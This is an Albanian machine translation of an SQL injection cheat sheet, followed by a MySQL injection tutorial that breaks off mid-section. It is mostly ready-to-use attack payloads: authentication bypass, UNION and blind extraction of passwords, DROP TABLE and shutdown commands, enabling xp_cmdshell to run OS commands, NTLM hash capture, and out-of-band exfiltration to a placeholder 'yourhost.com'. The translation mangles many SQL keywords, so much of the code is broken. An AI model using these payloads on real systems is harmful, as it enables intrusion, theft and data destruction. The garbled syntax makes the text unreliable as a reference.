Çfarë është injeksioni SQL. injeksion SQL


SQL Injection Cheat Sheet u krijua për të ofruar një përshkrim përmbledhës të veçorive teknike të llojeve të ndryshme të dobësive të injektimit SQL. Artikulli paraqet veçoritë e injeksioneve SQL në MySQL, Microsoft SQL Server, ORAKULLI Dhe PostgreSQL.

0. Hyrje
Në këtë artikull mund të gjeni informacion të detajuar teknik rreth llojeve të ndryshme të injeksioneve SQL. Mund të jetë i dobishëm si për specialistët me përvojë ashtu edhe për të sapoardhurit në fushën e sigurisë së informacionit.

Për momentin, memo përmban informacion vetëm për MySQL, Microsoft SQL Server dhe disa të dhëna për ORACLE dhe PostgreSQL. Seksionet përmbajnë sintaksë injeksioni, shpjegime dhe shembuj.

Simbolet e përdorura:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (mundësisht në baza të tjera të dhënash);
* (kërkohen kushte të veçanta).

1. Komentet e rreshtit
Komentet janë përgjithësisht të dobishme për të injoruar një pjesë të një pyetjeje.
Sintaksë:
-- (SM): DROP mostër tabelë;--
# (M): DROP mostër tabelë;#
Shembull:
Emri i përdoruesit: admin" --
Pyetje e krijuar: SELECT * FROM anëtarët WHERE emri i përdoruesit = "admin"--" DHE fjalëkalimi = "fjalëkalimi"
Kjo do t'ju lejojë të identifikoheni si përdorues administratori, duke anashkaluar kontrollin e fjalëkalimit.

2. Blloko komentet
Me ndihmën e tyre, ju mund të injoroni një pjesë të kërkesës, të zëvendësoni hapësirat, të anashkaloni listat e zeza dhe të përcaktoni versionin e bazës së të dhënave.
Sintaksë:
/*Koment*/ (SM):
DROP/*koment*/sampletable
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*replace_space*/password/**/FROM/**/Anëtarët

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM emri i tabelës
Kjo është një sintaksë e veçantë e komenteve për MySQL. Kjo ju lejon të zbuloni versionin MySQL. Ky koment do të funksionojë vetëm në MySQL
Shembuj:
ID: 10; DROP TABLE anëtarë /*
Ne e shpërfillim pjesën tjetër të kërkesës, ashtu si një koment rreshti.

ID: /*!32302 10*/
do të merrni të njëjtën përgjigje si me ID=10 nëse versioni MySQL është më i lartë se 3.23.02

ID: /*!32302 1/0, */
Kërkesa e krijuar: SELECT /*!32302 1/0, */ 1 FROM emri i tabelës
Një gabim i ndarjes me 0 do të ndodhë nëse serveri ka një version MySQL më të lartë se 3.23.02

3. Sekuenca e kërkesave
Ju lejon të ekzekutoni më shumë se një kërkesë në të njëjtën kohë. Kjo është e dobishme në çdo pikë të injektimit.


E gjelbër - e mbështetur; e zezë - nuk mbështetet; gri - e panjohur.
Sintaksë:
; (S): SELECT * FROM anëtarët; Anëtarët e DROP--
Një kërkesë mbaroi, tjetra filloi.
Shembull:
ID: 10;Anëtarët DROP --
Pyetje e krijuar: SELECT * FROM produkteve WHERE id = 10; Anëtarët e DROP--
Ky pyetje do të heqë tabelën e anëtarëve pas një pyetjeje normale.

4. Deklarata me kusht
Ne do të marrim një përgjigje për kërkesën nëse plotësohet kushti. Kjo është një nga pikat kryesore të injektimit të verbër. Ato ndihmojnë gjithashtu për të kontrolluar me saktësi gjërat e thjeshta.
Sintaksë:
IF (kusht, pjesa e vërtetë, pjesa e gabuar) (M): SELECT IF(1=1,"true","false")
IF kushti true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
NESE kushti ATHERE pjesa e vertete; TJETËR false-pjesë; ENDIF; FUND; (O): NËSE (1=1) PASTAJ dbms_lock.sleep(3); TJETER dbms_lock.sleep(0); ENDIF; FUND;
ZGJIDH RASIN KUR kushti THËNË e vërtetë-pjesa TJETËR false-pjesa FUND; (P): ZGJIDHNI RASTIN KUR (1=1) PASTAJ "A" TJETER "B" FUND;
shembull:
nëse ((përzgjedh përdorues) = "sa" OSE (përzgjedh përdorues) = "dbo") zgjidhni 1 tjetër zgjidhni 1/0 (S)
do të hedhë një gabim pjesëtimi me zero nëse përdoruesi aktual nuk është "sa" ose "dbo".

5. Përdorimi i numrave
Përdoret për të anashkaluar magic_quotes() dhe filtra të ngjashëm, duke përfshirë WAF.
Sintaksë:
0xHEX_NUMBER (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (ky nuk është një numër, por një varg) (M)
ZGJIDH 0x50 + 0x45 (tani ky është një numër) (M)
Shembuj:
ZGJIDH LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Tregon përmbajtjen e skedarit c:\boot.ini

6. Lidhja e vargut
Operacionet e vargut mund të ndihmojnë në anashkalimin e filtrave ose identifikimin e bazës së të dhënave.
Sintaksë:
+ (S): SELECT hyrje + "-" + fjalëkalim nga anëtarët
|| (*MO): SELECT hyrje || "-" || fjalëkalimi nga anëtarët
Do të funksionojë nëse MySQL po funksionon në modalitetin ANSI. Përndryshe, MySQL nuk do ta pranojë atë si një operator logjik dhe do të kthejë 0. Është më mirë të përdoret funksioni CONCAT() në MySQL.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(hyrja, fjalëkalimi) FROM anëtarët

7. Vargjet pa thonjëza
Ka disa mënyra për të shmangur përdorimin e thonjëzave në një pyetje, të tilla si përdorimi i CHAR() (MS) dhe CONCAT () (M).
Sintaksë:
ZGJIDH 0x457578 (M)

MySQL ka një mënyrë të thjeshtë për të përfaqësuar një varg si një kod hex:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Kthen vargun "KLM":
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Konvertimi i vargjeve dhe numrave.
Sintaksë:
ASCII() (SMP): ZGJIDH ASCII("a")
Kthen kodin ASCII të karakterit më të majtë. Funksioni përdoret për injeksione të verbër.

CHAR() (SM): SELECT CHAR(64)
Përkthen një kod ASCII në karakterin përkatës.

9. Operatori UNION
Me operatorin UNION mund të kërkoni kryqëzimin e tabelave. Në thelb, ju mund të dërgoni një pyetje që kthen një vlerë nga një tabelë tjetër.
Shembull:
ZGJIDH kokën, txt NGA lajmet UNION ALL SELECT emrin, kaloje nga anëtarët
Kjo do të bashkojë rezultatet nga tabelat e lajmeve dhe anëtarëve

10. Bypass i vërtetimit (SMO+)
Shembuj:
admin" --
admin"#
admin"/*
"ose 1=1--
"ose 1=1#
"ose 1=1/*
") ose "1"="1--
") ose ("1"="1--

11. Anashkaloni vërtetimin MD5
Nëse aplikacioni së pari krahason emrin e përdoruesit dhe më pas krahason hash md5 të fjalëkalimit, atëherë do t'ju duhen truke shtesë për të anashkaluar vërtetimin. Ju mund t'i kombinoni rezultatet me një fjalëkalim të njohur dhe hash-in e tij.
Shembull (MSP):
Emri i përdoruesit: admin
Fjalëkalimi: 1234 "AND 1=0 UNION ALL SELECT "admin", "
= MD5 (1234)

12. Bazuar në gabime
12.1 Përcaktimi i kolonave duke përdorur HAVING BY(S)
Shembull:
Në të njëjtin rend
" KA 1=1 --
" GRUPI SIPAS tabelës.columnfromerror1 KA 1=1 --
" GROUP BY tabela.columnfromerror1, columnfromerror2 KANE 1=1 --
" GROUP BY tabela.columnfromerror1, columnfromerror2, columnfromerror3 KANE 1=1 -
…………….
Vazhdoni derisa të mos merrni më gabime.

12.2 Përcaktimi i numrit të kolonave duke përdorur ORDER BY (MSO+)
Gjetja e numrit të kolonave duke përdorur ORDER BY mund të përshpejtohet duke përdorur injeksionin UNION.
Porosit me 1--
Porosit me 2--
Porosit me 3-
………………..
Vazhdoni derisa të merrni një mesazh gabimi. Kjo do të tregojë numrin e kolonave.

13. Përcaktimi i llojit të të dhënave
Përdorni gjithmonë UNION me ALL.
Për të hequr qafe një hyrje të panevojshme në tabelë, përdorni -1 në çdo vlerë që nuk ekziston në fillim të pyetjes (nëse injektimi është në parametrin WHERE). Kjo është e rëndësishme nëse mund të rikuperoni vetëm një vlerë në të njëjtën kohë.
Përdorni NULL në injeksionet UNION në vend që të përpiqeni të merrni me mend një varg, datë, numër, etj. Por kini kujdes kur injektoni verbërisht, sepse... ju mund të ngatërroni një gabim të bazës së të dhënave me vetë aplikacionin. Disa gjuhë, si ASP.NET, nxjerrin një gabim kur përdorin një vlerë NULL (sepse zhvilluesit nuk prisnin të shihnin një vlerë null në fushën e emrit të përdoruesit)
Shembuj:
" union zgjidhni shumën (kolonatogjeni) nga përdoruesit-- (S) :
Nëse nuk merrni një mesazh gabimi, atëherë kolona është numerike.

ZGJIDH * NGA Tabela 1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, konverto(imazh,1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --
Mund të përdorni CAST() ose CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --
Nëse nuk ka gabim, atëherë sintaksa është e saktë, d.m.th. Përdoret MS SQL Server.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 --
Nëse nuk ka gabim, atëherë kolona e parë është një numër.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -
Nëse shfaqet një gabim, atëherë kolona e dytë nuk është një numër.

11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 --
Nëse nuk ka gabim, atëherë kolona e dytë është një varg.
……………..

14. Futje e thjeshtë (MSO+)
Shembull:
"; fut në përdoruesit vlerat (1, "hax0r", "coolpass", 9)/*

15. Mbledhja e informacionit
Sintaksë:
@@version (MS)
Ju mund të gjeni versionin e bazës së të dhënave dhe informacione më të hollësishme.
Shembull:
INSERT INTO anëtarë (id, përdorues, kalim) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Insert kompleks (S)
Ju lejon të futni përmbajtjen e një skedari në një tabelë. Nëse nuk e dini rrugën e brendshme të aplikacionit në internet, mund të lexoni metabazën e IIS (vetëm IIS 6).
Sintaksë:
skedar (%systemroot%\system32\inetsrv\MetaBase.xml)
Pastaj mund të gjeni shtigjet e aplikacionit në të.
Shembull:
1. Krijo tabela foo (lloj vargu varchar(8000))
2. Fusni përmbajtjen e skedarit 'c:\inetpub\wwwroot\login.asp' në tabela foo
3. Hiqni tabelën e përkohshme dhe përsëriteni për një skedar tjetër.

17. PKK (S)
Shkruan një skedar teksti. Kjo kërkon kredenciale.
Shembull:
bcp Pyetja "SELECT * FROM test..foo" c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH në SQL Server (S)
Ju mund të përdorni skriptet VBS, WSH në SQL Server.
Shembull:
Emri i përdoruesit:"; deklaro @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Ekzekutoni komandat e sistemit (S)
Një mashtrim i njohur, funksioni është i çaktivizuar si parazgjedhje në SQL Server 2005. Ju nevojiten të drejtat e administratorit.
Shembull:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Tabelat speciale në SQL Server (S)
Shembuj:
Mesazhet e gabimit: master..sysmessages
Serverë të lidhur: master..sysservers
Fjalëkalimi SQL Server 2000: masters..sysxlogins
Fjalëkalimi SQL Server 2005: sys.sql_logins

21. Procedura të shumëfishta të ruajtura për SQL Server (S)
Sintaksë:
Cmd Ekzekutoni (xp_cmdshell)
Gjërat e regjistrit (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Menaxhimi i shërbimeve (xp_servicecontrol)
Mediat (xp_availablemedia)
Burimet ODBC (xp_enumdsn)
Modaliteti i hyrjes (xp_loginconfig)
Krijimi i skedarëve të kabinës (xp_makecab)
Regjistrimi i domenit (xp_ntsec_enumdomains)
Vrasja e procesit (kërkohet PID) (xp_terminate_process)
Shto procedurë të re (sp_addextendedproc)
Shkruani skedar teksti në një UNC ose një shteg të brendshëm (sp_makewebtask)
Shembuj:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. Shënime me shumicë MSSQL
Shembuj:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DEKLARONI @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. Injeksion SQL në pyetje LIMIT (M).
Shembull:
SELECT ID, produkt FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
Për të anashkaluar operatorin LIMIT, mund të përdorni UNION ose një koment.

24. Fikja e SQL Server (S)
Shembull:
";fike -

25. Aktivizimi i xp_cmdshell në SQL Server 2005
Sintaksë:
Si parazgjedhje, xp_cmdshell dhe disa veçori të tjera potencialisht të rrezikshme janë të çaktivizuara në SQL Server 2005. Nëse keni të drejta administrative, mund t'i aktivizoni ato.
EXEC sp_configure "shfaq opsionet e avancuara",1
RIKOFIGUROJE
EXEC sp_configure "xp_cmdshell",1
RIKOFIGUROJE

26. Kërkimi i strukturës së bazës së të dhënave në SQL Server (S)
Shembuj:
ZGJIDH emrin NGA sysobjektet WHERE xtype = "U"

SELECT emrin FROM syscolumns WHERE id =(SELECT ID FROM sysobjects WHERE emri = "emri i tabelësfor emrat e kolonave")
Marrja e emrave të kolonave

27. Të dhënat lëvizëse (S)
Shembuj:
... WHERE NOT IN përdoruesit ("Përdoruesi i parë", "Përdoruesi i dytë")
Përdorni WHERE me NOT IN ose NUK EKSIST

ZGJIDH TOP 1 emrin NGA anëtarët WHERE NOT EKSIST (ZGJEDH TOP 0 emrat NGA anëtarët)

SELECT * FROM Produkt WHERE ID=2 AND 1=CAST((Zgjidh emrin e p.nga (SELECT (SELECT (SELECT COUNT(i.id) AS shpëtoj FROM sysobjects i WHERE i.id<=o.id)
AS x, emri nga sysobjektet o) si p ku p.x=3) si int

Zgjidh emrin e faqes nga (SELECT (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" dhe i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Mënyrë e shpejtë për të nxjerrë të dhëna nga injektimi SQL i bazuar në gabime në SQL Server (S)
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE emri = "MEMBERS") DHE emri>@rd SELECT @rd AS rd në fund TMP_SYS_TMP;--

29. Kërkimi i strukturës së bazës së të dhënave në MySQL (M)
Shembuj:
ZGJIDH emrin e tabelës FROM information_schema.tables WHERE table_schema = "emri i tabelës"
Marrja e tabelave me porosi

SELECT emri_tabele, emri i kolones FROM information_schema.columns WHERE table_schema = "emri i tabeles"
Marrja e emrave të kolonave

30. Kërkimi i strukturës së bazës së të dhënave në Oracle (O)
Shembuj:
SELECT * NGA të gjitha_tabelat WHERE OWNER = "DATABASE_NAME"
Marrja e tabelave me porosi

SELECT * NGA all_col_comments WHERE TABLE_NAME = "TABLE"
Marrja e emrave të kolonave

31. Injeksione të verbër
Në një aplikacion cilësor, nuk do të mund të shihni mesazhe gabimi. Nuk do të mund të përdorni operatorin UNION dhe sulmet e bazuara në gabime. Ju do të duhet të përdorni injeksion të verbër SQL për të nxjerrë të dhënat. Ekzistojnë dy lloje të injeksioneve të verbër.
Injeksion i rregullt i verbër: nuk mund të shihni rezultatet e kërkesave në faqe, por rezultatin mund ta përcaktoni nga përgjigja ose statusi HTTP.
Injeksion plotësisht i verbër: Nuk do të shihni ndonjë ndryshim në dalje.
Në injeksionet normale të verbër mund të përdorni deklaratat IF dhe WHERE, në injeksione plotësisht të verbër ju duhet të përdorni disa funksione pritjeje dhe të krahasoni kohën e përgjigjes. Për ta bërë këtë, mund të përdorni WAIT FOR DELAY '0:0:10' në SQL Server, BENCHMARK() dhe sleep(10) në MySQL, pg_sleep(10) në PostgreSQL.
Shembull:
Ky shembull bazohet në një funksionim real të injektimit të verbër në SQL Server.

E VËRTETË: SELECT ID, Emri i përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL(ASCII(SUBSTRING((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe=0x55 DHE emri NOT IN(ZGJEDH TOP 0 emri FROM sysObjects WHERE xt5) ,1)),0)>78--

FALSE: SELECT ID, Emri i përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL(ASCII(SUBSTRING((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe=0x55 DHE emri NOT IN(ZGJEDH TOP 0 emri FROM sysObjects WHERE xt5) ,1)),0)>103--

FALSE: SELECT ID, Emri i përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL(ASCII(SUBSTRING((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe=0x55 DHE emri NOT IN(ZGJEDH TOP 0 emri FROM sysObjects WHERE xt5) ,1)),0)>89--

FALSE: SELECT ID, Emri i përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL(ASCII(SUBSTRING((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe=0x55 DHE emri NOT IN(ZGJEDH TOP 0 emri FROM sysObjects WHERE xt5) ,1)),0)>83--

E VËRTETË: SELECT ID, Emri i përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL(ASCII(SUBSTRING((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe=0x55 DHE emri NOT IN(ZGJEDH TOP 0 emri FROM sysObjects WHERE xt5) ,1)),0)>79--

FALSE: SELECT ID, Emri i përdoruesit, Email FROM WHERE ID = 1 DHE ISNULL(ASCII(SUBSTRING((ZGJIDH TOP 1 emri FROM sysObjects WHERE xtYpe=0x55 DHE emri NOT IN(ZGJEDH TOP 0 emri FROM sysObjects WHERE xt5) ,1)),0)>80--

Bazuar në dy pyetjet e fundit, ne e dimë saktësisht vlerën e karakterit të parë në ascii - është 80. Kjo do të thotë se karakteri i parë është `P`. Në këtë mënyrë mund të zbulojmë emrat e tabelave dhe përmbajtjen e tyre. Një mënyrë tjetër është leximi i të dhënave pak nga pak.

32. Injeksion plotësisht i verbër
Përdoreni këtë metodë vetëm në rast të një injeksioni vërtet të verbër. Kini kujdes me kohën e pritjes.
Sintaksë:
PRIT PËR VONESË "koha" (S)
Funksioni thjesht pret kohën e specifikuar pa ngarkuar procesorin.
Shembuj:
if (select user) = "sa" presin për vonesë "0:0:10"
ID-ja e produktit =1;prit për vonesë "0:0:10"--
ID-ja e produktit =1);prisni vonesë "0:0:10"--
ID-ja e produktit =1";prit për vonesë "0:0:10"--
ID-ja e produktit =1");prit për vonesë "0:0:10"--
ID-ja e produktit =1));prisni për vonesë "0:0:10"--
ID-ja e produktit =1"));prisni për vonesë "0:0:10"--
Sintaksë:
PREFERI (sa herë, bëje këtë) (M)
Shembull:
NËSE EKZISTON (ZGJIDH * NGA përdoruesit WHERE emri i përdoruesit = "rrënjë") BENCHMARK(1000000000,MD5(1))
Ne kontrollojmë praninë e përdoruesit rrënjë.

IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Kontrollimi i ekzistencës së një tabele në MySQL
Sintaksë:
pg_sleep(sekonda) (P)
Flini për sekondat e ofruara.

gjumë (sekonda) (M)
fle për sekondat e ofruara.

bms_pipe.receive_message (O)
fle për sekondat e ofruara.
Shembull:
(ZGJIDH RASTIN WHEN (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) PASTAJ dbms_pipe.receive_message(("xyz"),10) TJETER dbms_pipe.receive_message(("xyz" ),1) FUND NGA dyfishi)
(INJEKTION) – kërkesa juaj.
Nëse kushti është i vërtetë, përgjigja do të jetë 10 sekonda. Përndryshe përgjigja do të jetë 1 sekondë.

33. Karakteristikat e dobishme të MySQL
Sintaksë:
MD5 ()
SHA1 ()
PASSWORD()
ENCODE ()
KOMPRESA()
ROW_COUNT()
SKEMA()
VERSION()

34. Injeksione SQL të rendit të dytë
Në mënyrë tipike, ju do të futni një pyetje të injektimit SQL në një fushë dhe prisni që ajo të mos filtrohet.
Shembull:
Emri: " + (ZGJIDH fjalëkalimin TOP 1 NGA përdoruesit) + "
Email: [email i mbrojtur]
Nëse aplikacioni përdor emrin e fushës së një procedure ose funksioni të ruajtur, atëherë mund ta përdorni këtë për injeksion.

35. Përdorimi i SQL Server për nxjerrjen e hasheve NTLM
Ky sulm do t'ju ndihmojë të merrni fjalëkalimin e përdoruesit të Windows të serverit të synuar përmes SQL Server nëse nuk ka qasje nga jashtë. Ne mund ta detyrojmë SQL Server të lidhet me Windows përmes një shtegu UNC dhe të nxjerrë sesionin NTLM duke përdorur mjete speciale si Cain & Abel.

Sintaksë:
Rruga UNC: "\\ YOURIPADDRESS\C$\x.txt"
36. Shembuj të tjerë të injeksioneve
Serveri SQL:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DEKLAROJ @q varchar(1024); SET @q = "\\"+((INJEKSION))+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
krijon një pyetje DNS në (INJECTION).yourhost.com

(INJEKTION) - kërkesa juaj.
MySQL:
?vulnerableParam=-99 OSE (SELECT LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")))
Krijon një kërkesë NBNS/DNS për yourhost.com
?vulnerableParam=-99 OSE (ZGJEDHJE ((INJECTION)) NË OUTFILE "\\\\yourhost.com\\share\\output.txt")
Shkruan të dhëna në skedarin tuaj
(INJEKTION) - kërkesa juaj.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") FROM DUAL)
Sniffer do të ruajë rezultatet
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FROM DUAL)
Rezultatet do të ruhen në regjistrat HTTP
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") NGA DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||'.yourhost.com',80) FROM DUAL)
Ju duhet të analizoni trafikun e kërkesave DNS në yourhost.com
(INJEKTION) - kërkesa juaj.

Ky material është një përkthim adaptiv i artikullit SQL Injection Cheat Sheet.

Pakujdesia dhe pavëmendja janë dy arsye për të shkruar kodin që është i prekshëm nga injeksionet SQL. Arsyeja e tretë - injoranca, duhet të inkurajojë programuesin që të thellojë njohuritë e tij apo edhe të ndryshojë profesionin e tij.

injeksion SQL ( injeksion SQL) - cenueshmëria që ndodh për shkak të verifikimit dhe përpunimit të pamjaftueshëm të të dhënave, të cilat transmetohen nga përdoruesi dhe ju lejon të modifikoni dhe ekzekutoni pyetje të papritura nga kodi i programit SQL.

Injeksioni SQL është një e metë e përhapur e sigurisë në internet që shfrytëzohet lehtësisht pa programe speciale dhe nuk kërkon njohuri të gjera teknike. Shfrytëzimi i kësaj dobësie hap derën për mundësi të mëdha si:

  • vjedhja e të dhënave - 80%;
  • refuzimi i shërbimit - 10 për qind;
  • zëvendësimi ose shkatërrimi i të dhënave - 2-3%;
  • rastet dhe synimet e tjera.

Ekzistojnë gjithashtu programe të ndryshme për testimin e sigurisë së faqes në internet për të gjitha llojet e injeksioneve JS dhe SQL.

Shpjegim i detajuar

Në këtë artikull do të përpiqem të shpjegoj rreziqet kryesore që lindin gjatë ndërveprimit me bazën e të dhënave MySQL. Për qartësi, unë do të jap një shembull të një strukture të thjeshtë të bazës së të dhënave, e cila është tipike për shumicën e projekteve:

KRIJON "lajme" të bazës së të dhënave; PËRDORNI `lajmet`; # # tabela e lajmeve # KRIJO TABELË `lajme` (`id` int(11) NOT NULL rritje_automatike, `title` varchar(50) e parazgjedhur NULL, "datë" e paracaktuar e datës NULL, teksti "tekst", ÇELËSI PRIMAR ("id" )) TYPE=MyISAM; # # shtoni disa të dhëna # INSERT `lajme` SET `id`="1", `title`="lajmi i parë", `date`="2005-06-25 16:50:20", `text`=" teksti i lajmit"; INSERT `lajmet` SET `id`="2", `title`="lajmi i dytë", `date`="2005-06-24 12:12:33", `text`="lajmi testues"; # # tabela e përdoruesve # CREATE TABLE `përdoruesit` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL DEFAULT "0", ÇELËSI PRIMAR (`id`)) TYPE=MyISAM; # # shtoni disa përdorues, njëri me të drejta administratori, tjetri i thjeshtë # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 "; INSERT `përdoruesit` SET `id`="2", `login`="përdoruesi", `fjalëkalimi`="1111", `admin`="0";

Ne shohim që kërkesa është krijuar në varësi të vlerës së $_GET["id"]. Për të kontrolluar për një dobësi, mjafton ta ndryshoni atë në një vlerë që mund të shkaktojë një gabim në ekzekutimin e pyetjes SQL.

Sigurisht, mund të mos ketë ndonjë dalje gabimi, por kjo nuk do të thotë se nuk ka asnjë gabim, si rezultat

“Ju keni një gabim në sintaksën tuaj SQL; kontrolloni manualin që korrespondon me versionin e serverit tuaj MySQL për sintaksën e duhur për t'u përdorur pranë """ në rreshtin 1"

ose rezultat

http://test.com/index.php?id=2-1

nëse ka një cenueshmëri, duhet të prodhojë një rezultat të ngjashëm me

http://test.com/index.php?id=1.

Dobësi të ngjashme ju lejon të modifikoni kërkesën në pjesën e parametrit WHERE. Gjëja e parë që një sulmues do të bëjë kur zbulohet një dobësi e tillë është të ekzaminojë se sa fusha janë përdorur në kërkesë. Për ta bërë këtë, vendoset një ID qëllimisht e pasaktë për të përjashtuar daljen e informacionit real dhe kombinohet me një kërkesë me të njëjtin numër fushash boshe.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

numri i "nuls" duhet të korrespondojë me numrin e fushave që përdoren në kërkesë.

Nëse pyetësori hedh një gabim, shtohet një vlerë tjetër boshe derisa gabimi të zhduket dhe të kthehet një rezultat me të dhëna boshe. Më pas, fushat e kombinuara zëvendësohen me vlera që mund të vëzhgohen vizualisht në faqe.

Për shembull:

http://test.com/index.php?id=-1+UNION+SELECT+null

Tani në faqen ku duhej të shfaqej titulli i lajmeve, do të shfaqet qwerty.

Si të zbuloni versionet e MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Si të rikuperoni hyrjen e përdoruesit aktual të bazës së të dhënave?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Cili është emri i bazës së të dhënave që përdoret?

http://test.com/index.php?id=-1+UNION+SELECT+null,BAZA E TË DHËNAVE(),null,null

Si të merrni të dhëna të tjera nga tabela të tjera?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Kjo është një mënyrë e thjeshtë për të gjetur fjalëkalimin ose hash-in e fjalëkalimit të administratorit. Nëse përdoruesi aktual ka të drejta aksesi në bazën e të dhënave "mysql", sulmuesi do të marrë hash-in e fjalëkalimit të administratorit pa problemin më të vogël.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Tani zgjedhja e tij është vetëm çështje kohe.

Kërko

Kërkimi është një nga vendet më të cenueshme, pasi një numër i madh i parametrave të pyetjeve transmetohen njëkohësisht. Një shembull i një pyetjeje të thjeshtë që kërkon me fjalë kyçe:

ZGJIDH * NGA `lajmet` WHERE `title` LIKE "%$search%" OSE `text` LIKE "%$search%"

$search është fjala që dërgohet nga formulari. Një sulmues mund të kalojë $search="# në variablin, tani kërkesa do të duket kështu:

SELECT * NGA `lajmet` WHERE `title` LIKE "%"#%" OSE `tekst` LIKE "%"#%";

Prandaj, në vend të rezultateve të kërkimit për fjalën kyçe, do të shfaqen të gjitha të dhënat. Kjo ju lejon gjithashtu të përdorni veçorinë e grumbullimit të pyetjeve të përshkruara më sipër.

Duke përdorur parametrin ORDER

Shpesh mund të shihni se kur futni parametrat e kërkimit ose kur shfaqni informacione, ato lejojnë përdoruesin të renditë të dhënat sipas fushave të caktuara. Unë do të them menjëherë se përdorimi i kësaj dobësie nuk është shumë i rrezikshëm, pasi do të shkaktojë një gabim kur përpiqeni të kombinoni kërkesat, por në kombinim me dobësitë në fusha të tjera, ekziston rreziku i komentimit të këtij parametri.

http://test.com/index.php?sort=emri

parametri ORDER formohet në varësi të ndryshores $sort

Kërkesa e mëposhtme do të krijohet:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OSE `tekst` LIKE "%"/*%" ORDER BY */

duke komentuar kështu një nga kushtet dhe parametrin ORDER

Tani mund ta kombinoni sërish pyetjen duke caktuar $sort=*/ UNION SELECT...

Si një opsion për të shfrytëzuar cenueshmërinë e këtij parametri:

ZGJIDH * NGA `përdoruesit` RENDOSJE SIPAS GJATESISË (fjalëkalimi);

Do t'ju lejojë të renditni përdoruesit në varësi të gjatësisë së fjalëkalimit, me kusht që të ruhet në një formë "të pastër".

Autorizimi

Le të përpiqemi tani të shqyrtojmë opsionet për injeksionet SQL që ndodhin gjatë autorizimit të përdoruesit. Në mënyrë tipike, kërkesa që kontrollon korrektësinë e të dhënave të autorizimit duket si kjo:

